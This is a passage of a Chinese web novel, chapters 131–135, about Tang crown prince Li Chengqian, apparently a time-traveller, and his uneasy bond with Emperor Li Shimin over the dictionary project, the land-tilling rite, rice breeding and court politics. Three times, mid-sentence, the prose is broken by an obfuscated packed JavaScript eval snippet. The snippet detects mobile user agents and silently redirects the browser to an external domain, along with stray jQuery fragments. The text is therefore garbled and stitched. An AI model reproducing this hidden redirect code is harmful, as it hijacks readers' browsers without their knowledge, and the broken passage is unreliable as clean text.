不说科技,只说资本,当年某个人企图用金融杠杆撬动整个国民经济,让十四万万人替他承担风险,若不是国家对资本的绝对把控,不敢想象一但那个体系建立,然后崩塌,于国民而言将会是怎样的灾难。 “臣鄙陋,让陛下见笑了。” 李世民伸手去捏李承乾脸蛋,被李承乾躲开了。 “你还在为青雀的事情怪朕,朕也不知道青雀会那样不择手段的同你争。” 李承乾道:“陛下忘了吗?曾经的贞观十二年。陛下曾对青雀说:设无太子,则母弟次立。您自己说过的话,史书上写得明明白白,需要臣解释吗?” 李世民瞬间哑然,李承乾继续说:“陛下,青雀的野心是您给的,在您给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448282|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个野心的时候,臣是死棋,在陛下把青雀放进立储的名单,又把他踢出去的时候,他也成了死棋。 陛下,您驾崩的那一年,除了已经死去的臣和夭亡的三个兄弟,青雀是唯一一个没有来长安为您服丧的孩子。雉奴登基的第三年,青雀就郁郁而终了。雉奴登基的第四年,吴王恪**爆发,曾经倒向青雀的宗亲大臣,或贬或杀。 如果青雀活到了雉奴登基的第四年,他还能风风光光下葬,保全他死后的体面吗?这就是为什么,臣回来之后,没有怨恨青雀,没有去报复他,甚至觉得他可怜。 陛下,史书上都说您爱子,您真的在乎过孩子的死活吗?青雀得了父亲疼爱求权力,臣有太子的虚名和那半真不假的权柄求父亲疼爱。可细细想来,臣与青雀,都不过是可怜虫而已。陛下在**权术的时候,根本就没有在意过臣和青雀的死活。” “啪……” 李承乾挨了一耳光,左半边脑袋被打的嗡嗡作响,嘴巴里泛起腥咸的味道。 李世民下意识去看自己的手,这一巴掌打完他就后悔了,努力了这么久,这一巴掌又打回原形了。 “承乾,将个人的怨愤与不干掺和到朝廷大事之中,是朕为君和为人父的失职。可是,无论是你还是青雀,朕从未想过要害你们性命。当初立雉奴为嗣君,就是看中了他仁孝温厚,会善待手足。朕不是神仙,不可能预知后事如何。废黜你之后,青雀露出他的獠牙,朕何尝不后悔,可朕那时也只有雉奴一个选择。” 李承乾捂着火辣辣的半边脸,**一点不带犹豫,打完了又跟他诉苦,好像自己受了多大的委屈,真正的受害人都还没说话呢! “你曾经对阿耶说,早回来两年,你不会迎娶苏氏为太子妃,只养李象一个,早回去六年你不会生下李象让他背负庶出的痛苦为人白眼,早回去十年宁你死也不会做太子。 阿耶也告诉你,若阿耶有机会回到过去,阿耶一定会好生疼爱你,把你带在身边亲自教导,会好生教导青雀和雉奴,和他们保持距离,不会让自己的任性害了阿耶最心爱的三个孩儿。” 不听不听,李承乾单方面屏蔽皇帝,君无戏言,最不可靠的东西。 第131章 狸奴 回到东宫,李承乾一头窝进显德殿,让宫人煮了鸡蛋,取了冰块过来,又是冰敷又是揉脸,折腾了大半夜,却迟迟消不了肿。 中途丽正殿遣人过来请,李承乾不好去见苏氏,遂命宫人传话,他随驾出宫着了风寒,恐过了病气给苏氏,请太子妃不必挂怀,待他身体大安去丽正殿探望。 李象过来拜见,李承乾原本想见,可一想自己拒绝了苏氏,又明晃晃见了李象,只会给李象树敌,就一起拒绝了。 后宅的手段防不胜防,平等的拒绝,也是压制纷争的一种手段。 李承乾“病”了,养“病”期间,所有等待删减归纳的文稿全部命心腹宫人送到显德殿。 李靖和长孙无忌按时到东宫打卡,听说太子“病”了,便向宫人嘱咐,他们先行归府等候,待太子“病愈”之后可随时召见。 李承乾“病”了三日,一直到脸上肿胀消退,才到崇贤馆参与编撰工作。 卫国公府 李承乾这是第二次造访,从李德謇那里得知李靖的**回来了,他就迫不及待的过来撸银渐层。 “听陛下说,给了殿下五个月时间编撰字典,还有三日正月完,就只有四个月了,殿下进度如何?” 李承乾道:“两万来个字,眼下已经弄了一万,最多再有一个月,就能完工,这比学生预想的快多了,不得不说人多就是力量大啊!” 李靖哈哈一笑,小老虎不需要他摁着,他只需要看着李承乾摸老虎就行了。 “字典署名,这个诱惑太大,不说这群小辈不要命的干,换做朝中任何一位大臣,都会拼命。” 李承乾哈哈一笑,向李承乾道::“陛下给了五个月,学生是按照四个月进度来的,满打满算三个月字典送交弘文馆,请颜师古、申国公、于志宁、杜正伦、韦挺、岑文本、阎立德、萧瑀他们审核。” 李靖愣了一愣,颜师古和高士廉、萧瑀参与审核他不意外,于志宁和杜正伦和太子有过结但也曾是东宫的人,太子收拢人心他也能理解,可韦挺和阎立德、岑文本都是投靠过魏王泰的人,太子也这么放心的用。 “五个月的假,赶在三月份编撰结束,给他们一个月审核,学生四月份就可以送交陛下,学生可以在东宫歇上两个月。” 难得有个人跟自己一样,喜欢撸老虎,李靖友情提示:“春耕了,一头牛半日耕了两亩地,乐呵呵的以为后半日能歇着,结果后半日又被牵到地里耕地去了。” 李承乾:…… 字字不提一个人字,字字说得都是人。 李承乾起身对着李靖拱手一拜,向师傅道谢:“多谢师傅,弟子晓得该怎么做。” 李靖双臂交握,笑盈盈道:“殿下,老臣可什么都没说。” 李承乾噗嗤一笑,继续盘腿席地而坐,撸**幼崽。 “师傅说了,师傅说这寅将军难得,让学生尽情的摸。” 撸完心心念念的银渐层,又在李靖家里蹭了顿饭,李承乾赶在太阳落山前回东宫。 心腹吴顺抱了只小狸花,乐呵呵走上前来:“殿下,也不知哪里来的小狸奴,同咱们东宫有缘分,奴婢发现它两次,送出去三次,它都回来了。殿下,养了它吧?” 李承乾爱不释手,上前将小东西搂在怀里,听它“喵喵”叫的小奶音,直接是将人萌化了,他是个资深猫奴,怎么可能拒绝的了一只肉嘟嘟的小狸花呢? “三出宫门复入宫,是有缘分。池子里养有草鱼,捞上来一条,我亲自给它做猫饭。” 鉴于皇帝下发的任务,吴顺跟着李承乾进门,道:“殿下,您说这小狸花会不会是谁送来的?也太巧了,**它都能回来。” 李承乾思索片刻,养猫、养狗、养鸟都属于不务正业,皇帝以前就养过狗和鸟,登基前夕全部放了,以示自己不贪图享乐,勤政爱民的决心。 “就是有人送,收下了也没什么。左不过**我招猫逗狗,有失体统。放心,我知道怎么驳斥回去。东宫种了这许多的菜,总引得虫鼠来害,养猫避鼠。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449601|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴顺只能继续努力:“殿下如今深得陛下宠爱,或许是有人送来向殿下示好?” 李承乾道:“这要是只波斯来的猫,或者齐地的狮子猫,我都能信你这话。” 陛下的任务实在太艰巨了,又要引导太子想到陛下,又不能提及陛下,吴顺感觉他脑袋要炸了。 “听尉迟小郎君说,陛下在庄子里养了只狐狸,殿下那日随驾出宫,可见到了?” “你今天话有些多啊?” 李承乾看向吴顺,眼底是打量之色,吴顺目光躲闪,只在一瞬间,李承乾就明白了前因后果。 “我明白了,你这是奉命行事。” 吴顺跪倒在地,身子抖成筛糠,李承乾叹了口气。 “两尊大佛你是谁都惹不下,这也算不得背主,我不会怪罪于你,狸奴我收下了,起来,给他复命去吧!” 皇帝送的猫,就算有人**,都不需要他下场解释了,皇帝会收拾残局的,在没掏干净他身上的价值,皇会一直护着他。 吴顺感激涕零,当即拜倒在地,这种活儿最难干,不接皇帝要他的命,接了惹怒太子一样没命,接了还能有一线生机。 得知李承乾收了礼物,李世民默默松了口气,他决定于二月初二龙抬头当日举行籍田礼,他要同李承乾合作耕地种田。 李承乾那个脾性,过往的经验,要李承乾低头不可能,玄武门拔剑概率更大。 低个头而已,他这辈子又不是没低过头,跟儿子低个头,传出去不丢人,再说了也传不出去。 自来籍田礼,都是扶犁走个过场,秋收大臣们能不能喝上籍田种出来的小米粥,还是得盯好李承乾。 他向大臣们夸下海口,要用籍田种出来的粮食宴请大臣,绝不能在大臣面前丢了面子。 张阿难听了皇帝的托词,内心颇为无奈,籍田里就是一颗粮食都没有,皇帝说大臣们手里的小米粥是籍田里种出来的小米熬的,就不信谁敢说不是,借口找的真不走心。 第132章 社稷坛祭祀 二月初一,李承乾三更起身洗漱,往承天门外同百官一起等候入朝。 籍田礼前一天,皇帝率百官往社稷坛祭祀,祈求来年风调雨顺。 一向闲赋在家的李靖、尉迟恭等人也必须上朝,随同皇帝一同参与祭祀。 宫门缓缓打开,众大臣文武分做两列,自觉排到太子身后,经过太极门,入太极殿朝拜过皇帝。 皇帝仪仗至承天门前候驾,皇帝受过百官朝拜,乘坐车驾往社稷坛南郊社稷坛去。 ?6?8“太子,你与朕同乘。” 李承乾回头看了眼马儿,不太想和皇帝同乘。 “阿难,扶太子上车。” 李承乾被推上马车,气结无比,这哪里是扶,分明是挟持。 “这两天风大,骑马吹的头疼,乖乖坐马车。” 李承乾不想听皇帝打感情牌,直接问:“水稻三月份之后育苗,陛下给臣找的安南稻,找的怎么样了?三月份能到吗?” 李世民笑笑,粮食大事,关乎朝廷社稷的大事,他就是忘了吃饭,也不可能忘了找稻子。 “四百里加急,肯定能在三月份之前,把稻种从安南给你送过来。” “四百里加急?长安到安南大概是四千六百多里,四百里加急保守估计要走半个月前后,来得及。” 李世民道:“后世从长安到安南,要多久?” “坐飞机四五个小时,高铁暂时没有直达安南的,火车没坐过不知道。” “火车级别很高吗?你都不能坐?” 李承乾:…… “火车是最慢的出行方式,臣出门一般不坐火车,以高铁和飞机为主。” 李世民:…… “你去过安南?后世之人将安南治理的如何?” 李世民思索片刻,决定告诉皇帝真相:“安南丢了,是一个独立的国家,也不是藩属国。臣去安南,属于出国旅游。” “丢了?”李世民气极反笑,无法形容他此刻的心情,道:“丢了?吐蕃和高句丽这么难啃的骨头都啃下来,安南,朕给你们打下来,你们给丢了?这群后世儿孙,太没出息了,坐拥神兵利器,还能丢领土,不孝子孙,奇耻大辱。” 李承乾:…… “陛下,未来和现在不一样。” “有什么不一样的?朕告诉你,强则生,弱则亡,自古以来都是这个道理。今日送出去一寸土地,明日就有人想要你送出去一尺。想要解决这种问题,就一个办法,打,打服了他憋屈也得忍着,打**取而代之,一了百了。” 李世民看着李承乾,意味深长的说:“朕告诉你,大臣们说对内要施行仁政,对外要施行仁义。可无论仁政还是仁义,都只是驭下的一种手段,不是一种心性。没有雷霆手段,你是坐不稳江山的。” 李承乾沉默片刻,想到《增广贤文》中的一句话:“慈不掌兵,义不养财,善不为官,情不立事,仁不从政。” 李世民哈哈一笑,抚掌喝彩:“就是这个道理,听不懂孔孟之道,那就只能上拳脚功夫了。” 许久没有早起,李承乾有些困乏,靠在马车一侧闭上眼睛。 “陛下,臣睡一会儿,到了叫臣。” “《贞观字典》的进度朕一直都在盯着,前日传了房遗直来问,听说已经弄完了一万两千多字,最多一个多月就可以交到朕的御案之前。” 李承乾心下一沉,想起上次李靖的比喻,他又要被套上去犁地了。 “陛下,您可批了五个月假期,朝野都知道。您在臣面前戏言就罢了,众大臣看着您不能戏言吧?” 李世民拍拍李承乾肩膀,笑的眉飞色舞:“承乾,别总把朕想成强盗,你有了出息,朕还能不高兴?” 李承乾听得浑身鸡皮疙瘩直掉,旅长的发财电话照进现实,太惊悚了。 “三月份稻种回来,臣是一点儿时间都没有,四月份也没有。” “朕打算巡狩洛阳,承乾你……” “没时间!”李承乾直接拒绝,接着又补充:“稻种一旦种下,就要一直盯着,还要人工授粉,去不了。” “美得你,你跟着一起,谁监国?” 李承乾:…… 自己出去逍遥,拿他当牛马,李承乾气鼓鼓道:“臣手头上的事情已经很多了,陛下要是再把监国甩过来,臣就直接穿陛下的衮冕上朝,您自己看着办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452628|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “李承乾!” “您敢去,臣就敢穿,您自己看着办吧!” 李世民抬手,李承乾下意识双手抱住脑袋,挡着脸:“陛下,**不打脸,籍田礼那么多人看着呢!” “你的金冠有些歪了,君子正冠。” 李承乾这才将手放下,李世民微躬了身子上前,替李承乾将头冠戴正。 “一点规矩都没有,还蠢得不行,朕这一巴掌打下去,大臣们的奏疏得把朕埋了,朕有那么蠢吗?” 之前动鞭子,伤处看不到,就算知道太子挨了打,众大臣也只当做没看到,一巴掌打到脸上,都不敢想众大臣会怎么议论。 “那一次让你跪太极殿前思过,言官奏疏差口气没把朕埋了,你那个是师傅更过分,三天上了七道奏疏,要不是你舅父拦着,朕非砍了他不可。” 李承乾心下欢呼,骂得好,往后多孝敬魏征。 “臣睡一会儿,到了叫臣。” “你那个拳打的,卫国公每天板着脸,你舅父要不是你的太子詹事,他都直接一眼不想看。” 李承乾:…… 社稷坛在太极宫西侧,走几步就能过去,可皇家讲究排面,车马仪仗不能少。 总算到了,不用再被皇帝挖苦小胳膊小腿。李承乾先一步下车,代替了张阿难的作用,扶皇帝下车。 社稷坛只有皇帝与负责礼仪的特定官员能上,李承乾松开皇帝,默默在祭坛左侧下首位置站好。 皇帝在祭坛前站定,礼官念完祝祷词,皇帝持香祭拜,众人跟着皇帝一同下跪,对着祭坛里面的五色土行稽首大礼。 如此往复三次,皇帝转身面向众臣工,领导训话,展望未来宏图,李承乾随着众大臣向皇帝三拜。 李世民下了祭坛,张阿难上前搀扶,被李世民一眼制止,又使了个眼色给李承乾。 封建社会,忠孝治国,李世民有意营造太子仁孝的人设给李承乾刷声望,也告诉众臣工君臣父子一心,禁止乱押宝,挑起夺嫡之争。 李承乾明白皇帝的意思,就算不明白,这种场合也不能让皇帝下不来台,接到目光之后,果断上前搀扶皇帝上马车。 第133章 籍田礼 太极殿大宴,李承乾以编撰字典为由拒绝了,李世民听之任之,皇帝的态度摆明,众大臣对太子缺席只当做没看见。 翌日三更,李承乾照常起身洗漱,换衣服去承天门候驾。 二月初二,籍田礼。 不出意外,要整整忙上一日。 皇帝在太极殿受过百官朝拜,乘马车从承天门前出发,李承乾照例同乘。兴许是现代上了高铁就睡觉的习惯影响,一上马车李承乾就想睡觉。 李世民很不理解,但表示尊重,还十分贴心的取来大氅为李承乾盖在身上。 籍田附近设有行宫、亲耕台、观耕台,皇帝与太子先在行宫换下身上的朝服金冠,穿上庶民的粗布衣裳。 众人簇拥着皇帝到籍田,皇帝面向南方站立,李承乾同左右宗亲臣工分列两侧。 李世民下地扶犁,李承乾紧随其后,待皇帝站定以后,才上前牵牛,皇帝象征性犁了三圈。 司农向皇帝进献粮食和种子,皇帝接过粮种,奏乐响起,李承乾扶着皇帝到达指定位置,往后退三步垂首侍立,皇帝取了种子向外播撒。 大臣面向亲耕台,聆听皇帝训话。训话结束,仍是李承乾搀扶皇帝去观耕,百官象征性下地耕作。 刚被犁的松动的土地,这么一遭踩,李承乾觉得能长出粮食,绝对是有鬼。 ??大臣们转完一圈回来,向皇帝拜贺。 “太子编撰《贞观字典》,列位臣工家中郎君皆是有功之臣,五月份《贞观字典》刊印过后,朕要用这籍田长出的小米,与诸位爱卿同庆。” 李承乾下意识看向皇帝,这话皇帝说过,可就这耕种播种结果,认真的吗? “行宫设宴,诸卿不醉不归。” 李世民十分熟稔伸出左臂,李承乾上前搀扶,随驾回行宫换衣服。 “一亩三分地,你要耕种多久?” 跟他什么关系? 李承乾十分惊诧,不可思议看着皇帝。 “朕说了要用籍田的小米宴请诸位大臣,朕不会种地,可朕知道太子会。” 说到这里,李世民笑嘻嘻拍着李承乾肩膀:“承乾啊!为父恭喜字典提前编成啊!” 李云龙,我恭喜你发财了! 李承乾惊悚,旅长的电话翻版! “我大唐的太子拿起笔能编撰字典,在太极殿可以指点江山,穿上粗布衣裳能耕田种地,还通机巧,能造火器。太子殿下,你说这是不是天佑我大唐?” 皇帝这话一说出来,李承乾瞬间明白了其中深意,皇帝又要给他刷声望了。 “美中不足就是你这小胳膊小腿,一碰就碎,让朕十分苦恼。” 李承乾:…… “陛下,臣的胳膊腿没那么差,是贞观朝的猛人太多了,不出去灭个国都不好意思说自己是个将军。陛下拿您的武功做标准,大唐八九成的百姓都是小胳膊小腿。” 李世民拍拍李承乾肩膀,绕开关于李承乾胳膊腿的话题:“宴席结束,你我父子去把那一亩三分地种了,今年不走流程,落在实处,你耕地,朕撒种。” 李承乾顿了顿,看向皇帝:“陛下,就算要臣一同耕种,这顺序也反了,应该是您耕地,臣撒种。” “没反,朕的态度如此明显,太子妃那个伯父苏勖还敢同青雀瞎进言,朝中大臣还在举棋不定,可恨!” 李承乾明白了,皇帝只给魏王府设了文学馆,允许魏王征召人才,但没有明诏指定哪些人等于没有签订劳务合同,李泰那些门客属于临时合同,随时可以走人且不存在违约。 皇帝要体面,不想明诏赶人伤了李泰的体面,伤了君臣情分,所以剑走偏锋,施恩太子,阻断大臣押宝的想法,让魏王府的门客主动退场。 “朕知道你同太子妃有共患难的情分,可该敲打的时候,你也不必儿女情长。依朕的意思,纳清河房氏女、京兆杜氏女为侧妃,冷太子妃一段时间,苏家自然就知道好歹了。” 李承乾听得火苗直冒,苏勖是苏氏伯父又不是生父,这同苏氏什么关系? “前些日子,太子妃的乳母以太子妃腹中孩儿男女未定,挑唆太子妃以腹中的孩儿陷害象儿。那乳母说一旦事发,无论真想如何,李象都将背上恶名。还说臣若是护着李象,也少不得被大臣弹劾宠庶灭嫡,臣就是知道儿子冤枉,也只能忍下这口恶气。太子妃听罢,立刻将这刁奴送出东宫。 太子妃,她有些女儿家的小心思不假,臣宠爱象儿,她会妒忌,会不满,会不安,可她是个合格的主母,臣的孩儿她做不到一视同仁,视如己出,却尽了嫡母之责。方才那些话陛下不要再说了,苏家糟心是苏家,同太子妃无关,她是臣糟糠之妻,莫说她现在没有差错,就是有,臣可杀之,绝不辱她。” 李世民听罢,不禁点头夸赞:“太子妃是个识大体的,你母亲给你挑选媳妇,眼光倒是独到。” “至于纳妃,臣想等太子妃生下孩子之后再纳妃。” 李承乾也想通了,他未来要做皇帝的人,守着一个女人绝不可能,皇帝子嗣单薄是一件很危险的事情。 用膳过后还要下地,李世民和李承乾没有换衣服,仍是一身粗布衣裳,众大臣虽有疑惑,却也没有多问。 吃过饭,李世民带着李承乾到籍田,按照此前约定,李承乾扶犁耕地,李世民撒种子。 “陛下,别撒那么密集,太密了长不出好庄稼。” 李世民愣住,帝王耕地那就是走个过场,撒种稀疏程度,他哪里知道? “有个意思就行了。” “照陛下那么撒种,能长出庄稼就怪了。” 李世民深吸一口气,一想到大臣们都看着,便配合表演,种子撒的少了些。 “种地也是生物学吗?” 李承乾思索片刻,回答皇帝:“种地属于农学,同生物学有关联,却不属于生物学。” 李世民默默摇头:“你对高科技的农学知道多少?” 李承乾道:“十分有限,堪称贫瘠!” “不管你知道多少,为父都全力配合你。” 李承乾笑笑,看向皇帝:“陛下这是要活生生累死臣。” “你要是真累死了,朕追封你为皇帝。” 李治操作,李承乾哈哈一笑,道:“臣若真累死了,身后名无所谓,只想回到来时的时代。” 李世民:…… 大臣们离得远,听不见皇帝与太子的谈话,只看到天家父子相谈甚欢。 房玄龄最先反应过来,皇帝让出扶犁的位置,意外敲打群臣,从他在房遗爱那里得来的消息,皇帝是不满魏王府门客撺掇魏王散布有关太子的谣言。 房遗爱,不能再继续待在魏王府了。皇帝敬酒他不喝,不想自己体面,皇帝有的是法子全了大家的体面。 第134章 开导 籍田礼过后的第十日,安南的稻种就送到了李承乾手里,拿到稻种,李承乾却发了愁。 李世民迫不及待到东宫,询问有关稻种改良,却见李承乾愁眉苦脸的在显德殿发呆。 “看你苦巴巴着脸,是朕让人找来的稻种不行吗?” 李承乾抬头,只见皇帝迎面走来,忙起身拜见,将主位让给皇帝。 “稻种应该没有问题,是臣的知识储备不够,只怕要让陛下失望了。” 仗还没打,小兔崽子先认输了,李世民本欲呵斥,到底压下了性子。一者,李承乾后世所见种种实在太过厉害,没信心很正常。 再者,李承乾对李象的耐性与温柔,或许是后世那个小吏的缩影,做父亲,谁不会是的,不会他可以学。 最后,李承乾心里若真没他这个父亲,又怎么会怕他失望。李承乾这种嘴硬心软的崽子,需要顺毛摸。 “告诉你家老李,怎么就觉得要让朕失望了?” 李承乾脑子嗡嗡的想,是他听错了,还是皇帝吃错药了? “陛下,你头风病又犯了?” 李世民压住想要上前揍人的冲动,深吸一口气,尽量心平气和同李承乾说话。 “你不是喊你爸老高吗?你祖父在世,朕不敢说自己是老李,你祖父过世了,朕称自己做老李也没什么。” 李承乾心下五味杂陈,他见过皇帝宠爱李治,却也没有这般放低姿态去宠爱李治。 “告诉朕,为什么觉得会让朕失望?” 李承乾道:“拿到稻种之后,臣开始总结臣了解到的有关杂交水稻的知识,杂交水稻的成功是一个系统工程。首要条件的雄性不育株,臣根本认不出来。” 李世民思索片刻,问李承乾:“后世之人如何定义杂交的概念?” 李承乾道:“生物学里对杂交的定义,是指两条单链DNA或RNA的碱基配对。” 李世民:…… “说成朕可以听懂的。” 李承乾思索着,皇帝可以听懂的,“北方的犬耐寒不耐热,南方的犬耐热不耐寒。杂交就是将北方的犬同南方的犬进行配种,生出来的下一代,可能耐寒且耐热,也可能不耐寒也不耐热。留下耐寒且耐热的犬种进行繁育,那些不耐寒且不耐热摒弃。” 李世民道:“下一次后世那些乱七八糟的词汇,你就以形式解释给你家老爷子听。” 李承乾:…… 皇帝的脸皮厚度,真的是超乎想象。 “咱们先说一个问题,你只是试着改良稻种,为什么要把杂交水稻作为标准呢?就像之前朕问你,为什么大唐造不出高科技武器,你说人才还是其次,生产力水平限制,缺乏必要的基础设施条件。 那个杂交水稻,在你来的时代都是高科技玩意儿,你为什么要忽视生产力和基础设施条件,把杂交水稻作为你改良稻种的标准呢?” 李承乾愣住,是啊!他只是试着改良粮种,怎么就把杂交水稻做标准了? “你来时的时代杂交水稻的种植成了普遍存在的一种现象,让你觉得它不稀奇,可你这个不稀奇只是庶民受益结果的不稀奇,而不是稻种价值的廉价,你下意识忽略了它的来历本就是普通人高不可攀的。” 李承乾恍然大悟,他所享受科技成果,在未来司空见惯,是生产力发展的结果,不是科技本身的廉价,离开了那个生产力条件,哪怕是最老的大哥大,其中蕴含的技术也是高不可攀的。 “臣明白了,谢陛下提点。” 皇帝今日同他说得这番话,李承乾下意识看向座上的君王,竟好似是爸爸在开导他。 “陛下若在未来,肯定是个心理学大师。” 李世民哈哈一笑,看着李承乾道:“心理学三个字,朕听懂了,又不完全懂。承乾,君王驭人之术驭的就是人心,没有贬损你的意思。你是当局者迷,若今日为育种发愁的是李象,你开导李象不会比朕差的。 人,总会沉溺在自己为自己创造的世界,别人说了也不听,听了也不改,吃了亏才知道后悔莫及,万幸你是个听劝的好孩子。” 李承乾深吸一口气,重新燃起斗志:“无论成功还是失败,臣都去试一试。” 李世民道:“大唐现在的水稻亩产最高也才三百来斤,朕也知道大唐和后世不能比,不说亩产过千。你往上提二十斤,一个人一个月的口粮就有了,提五十斤那就是一个人两个月的口粮。 承乾,你在后世见过亩产千斤,你可以不屑一顾,可在当下,它的意义十分重大?放手去做,成了朕为你庆功,败了朕仍然以你敢于尝试为傲。” 李承乾起身拜谢皇帝,他和皇帝这种相处模式,怪怪的感觉,又说不出哪里怪。 “让你去国舅府拜见辅机,你是一句话没听进去。辅机做了你的太子詹事不假,可若你让他觉得无利可图,他便不会为你冲锋陷阵。 辅机这样的人,用的好了是曹参,用不好是曹操。你不是个好拿捏的主儿,你手底下,辅机做不了曹操。如何让他发挥曹参的作用,就要看承乾怎么用他了。” 皇帝今日所言,皆出肺腑,李承乾没蠢到听不懂好赖话,他向皇帝谢过。 “臣晚些时候就去拜见。” 李世民笑问:“不看黄历,不挑个黄道吉日?” 李承乾笑道:“外甥去舅父家串门,还要挑黄道吉日,莫非舅甥相克?舅父的家也是母亲的家,臣回母亲旧宅,哪一天都是黄道吉日,挑什么?” 李世民抚掌,十分满意李承乾的回答,上位就是上位,无论何时下访,都是天恩。 “稻种的事情,你尽快办,有什么需要朕出面解决的问题,你说一声,朕一律照准。要去拜见国舅,时间也差不多了,换了衣裳就快些去。” 话音落,李世民起身往殿外去。李承乾将人送出东宫,吩咐下属套车,他回显德殿换了一套稍显正式的常服。 闲来无事,长孙无忌喜欢独坐书房。 近日没去东宫打卡,原因无法,李承乾练武,伤害李靖一个人就行了。 第135章 君子不重则不威 三个外甥,青雀轻佻狂妄,雉奴乖顺仁弱,李承乾有些手段到心性不够稳。 皇家的争端,长孙无忌一开始不愿掺和其中,何况李世民抬了青雀和李承乾打擂台,输赢未定,他不想过早下注。 妹妹去世,李承乾性格大变,李世民逐渐将重心放到桀骜不驯的李承乾身上,起初是帝王的征服欲作祟,驯化一个合乎自己心意的臣子兼儿子。 人是复杂了,帝王尤其复杂,父子斗法斗了两年多,李世民没能驯化李承乾,却斗出了父子情谊。 李承乾在朝廷上崭露锋芒,李世民逐渐疏远李泰,安排魏征、李靖、李世绩为东宫三少,又命尉迟恭程咬金为东宫左右屯卫中郎将。 帝王以绝对的重臣,保证了东宫之位的稳固,也用自己心腹围圆了东宫,保证太子就算有异心,也掀不起任何风浪。 卢家一案,李泰被五姓鼓动,公然甩了李世民一巴掌,逐渐失宠于帝王,皇帝又不断加恩太子,让魏王府文学馆的士人看不到魏王夺嫡的希望,逐渐瓦解魏王府的文学馆。 为了向朝野证明自己没有易储之心,皇帝将自己一手带大的晋王李治迁出甘露殿,住到宫外晋王府,李泰皇帝暂时没有处置,但不会太远。 局势明了,长孙无忌接下了皇帝任命他为东宫太子詹事的诏书,拉近自己同东宫的距离,李承乾自己送上门来,长孙无忌求之不得。 长孙无忌将人迎入正厅,命下人上了茶汤,“殿下今日怎么想着来长孙府了?” 李承乾笑道:“大树长在天穹下,老天不点头,凡人哪敢去树下乘凉?” 长孙无忌敛着眸子轻笑,好一番滴水不漏的说辞,既解释了从前为何不上门,又解释了今日为何上门,还同他亮明了皇帝的态度。 “是这个道理,老天点头是乘凉,摇头降下雷霆,挨了劈怎么要脱层皮的,殿下是有慧根之人。” 李承乾轻轻一笑,眼底似有委屈,“所以,舅父不会怪承乾,对吗?” 长孙无忌抿了口茶汤,又放回案几上,悠悠开口:“殿下每日同卫国公习武,臣日日瞧着,都瞧出胃疼了,自是要怪的。” 李承乾:…… 不会举例可以不说话,揭人短就不好了。 “我幼时身体不好,家中大人疼惜,没让我习武,让舅父见笑了。舅父从前都叫承乾,还是叫承乾吧!” 长孙无忌笑着说:“打五禽戏很是费力,冒昧的问一句,承乾,你真的会打五禽戏吗?” 李承乾:…… 太冒昧了,实在太冒昧了! “打的不太好,被舅父看出来了。” 长孙无忌笑道:“你要是能打好五禽戏,卫国公授课脸色都不至于那么无望。” 李承乾:…… “我一开始看,后来直接转身不看了。” 李承乾:…… “舅父,打人不打脸,骂人不揭短。” 长孙无忌哈哈一笑,笑道:“好了,你脸皮薄,不同你开玩笑了。” 一点儿都不好笑,李承乾抿了口茶汤,险些吐了出来,咸酸口味的奶茶真喝不惯。 “陛下允许你出宫好事,可你是太子,没什么要紧事情,不要随便出宫,天色多变,明白吗?” 李承乾恭敬答谢:“多谢舅父提点,承乾明白。” 他的来历长孙无忌不知,自然不明白皇帝为何打消易储之心,可皇帝易储之心,可以打消也可以死灰复燃,长孙无忌此刻的警告,完全出于一片好心。 “近来京中有流言蜚语,是关于我,舅父可听到风声?” 长孙无忌道:“有一些,亏得他们能耐,都把流言传入东宫了。” 李承乾叹气,向长孙无忌诉苦:“陛下驭下的手段,没他老人家点头,流言哪里能传入东宫?我是从陛下那里得知,陛下都要张罗给我纳侧妃了。” 长孙无忌不觉意外,李世民扶持太子,苏勖作为苏家家主私下里为李泰献策。李承乾的态度不重要,重要的是李世民下诏为太子纳侧妃,皇后都有可能被废黜,一个太子妃算什么? 二房嫡女嫁入东宫,大房家主入仕魏王府,热灶冷灶一起烧,无论谁上位,都是苏家得利。 李世民有心废太子,这么干没问题,可李世民打消了易储之心,这么干完全是在恶心李世民。 苏勖继续执迷不悟,最后的结果多半会是,大房家主或贬或流放,太子妃被废,苏家两边押宝,最后什么都得不到。 “你第一次开口,流言之事我替你收拾,那个苏勖我来处置,这些事情你不要插手了。” 李承乾一愣,他只是提了一句,可没这个意思,当即解释:“舅父,承乾不是那个意思,今日上门只是来看看您老人家,也看看母亲曾经的家。魏王府那些小事,我能收拾。” “青雀的出身,他有资格跟你争,可陛下不下场拉偏架,他那点儿手腕不够格跟你斗。”说到这里,长孙无忌看向李承乾,笑问道:“知道你父亲为什么要你来国舅府吗?” 